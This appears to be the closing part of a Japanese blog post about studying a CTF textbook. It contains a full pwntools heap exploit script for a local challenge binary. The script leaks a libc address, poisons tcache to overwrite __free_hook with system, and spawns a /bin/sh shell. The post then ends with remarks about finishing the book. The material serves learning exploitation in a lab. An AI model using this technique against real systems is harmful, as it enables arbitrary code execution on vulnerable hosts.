#!/usr/bin/env python3 from pwn import * bin_file = './chall_heap' context(os = 'linux', arch = 'amd64') # context(terminal = ['tmux', 'splitw', '-v']) # context.log_level = 'debug' binf = ELF(bin_file) libc = binf.libc offset_libc_malloc_hook = libc.symbols['__malloc_hook'] offset_libc_mainarena = offset_libc_malloc_hook + 0x10 def attack(conn, **kwargs): conn.sendlineafter('size', str(0x418)) conn.sendlineafter('size', str(0x18)) conn.sendlineafter('size', str(0x18)) conn.sendlineafter('index >> ', '0') conn.recvuntil('content : ') addr_libc_mainarena = unpack(conn.recv(6), 'all') - 0x60 libc.address = addr_libc_mainarena - offset_libc_mainarena info('addr_libc_base = 0x{:08x}'.format(libc.address)) addr_libc_free_hook = libc.symbols['__free_hook'] addr_libc_system = libc.functions['system'].address conn.sendlineafter('index >> ', '2') conn.sendline(pack(addr_libc_free_hook)) conn.sendlineafter('size', str(0x18)) conn.sendlineafter('content >> ', '/bin/sh\x00') conn.sendlineafter('size', str(0x18)) conn.sendlineafter('content >> ', pack(addr_libc_system)) def main(): # conn = gdb.debug(bin_file) conn = process(bin_file) attack(conn) conn.interactive() if __name__=='__main__': main()
おわりに
今回も、引き続き、「詳解セキュリティコンテスト: CTFで学ぶ脆弱性攻略の技術 Compass Booksシリーズ」を読み進めました。ヒープベースエクスプロイトは、かなり大変でした。長いし、難しいし。ゴールデンウイーク中に終わって良かったです。字数も 15万字弱で、最後の方は、かなり重くなってました(笑)
これで、この書籍でやりたいところはやりました(Web と Crypto はやってない)。年末から読み始めて、ゴールデンウイークで終わったので、4か月かかりました。この書籍はボリュームもありますし、内容が濃いので、進めるのに時間がかかりました。
次回からは、別の書籍「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」を進める予定です。
最後になりましたが、エンジニアグループのランキングに参加中です。
気楽にポチッとよろしくお願いいたします🙇
今回は以上です!
最後までお読みいただき、ありがとうございました。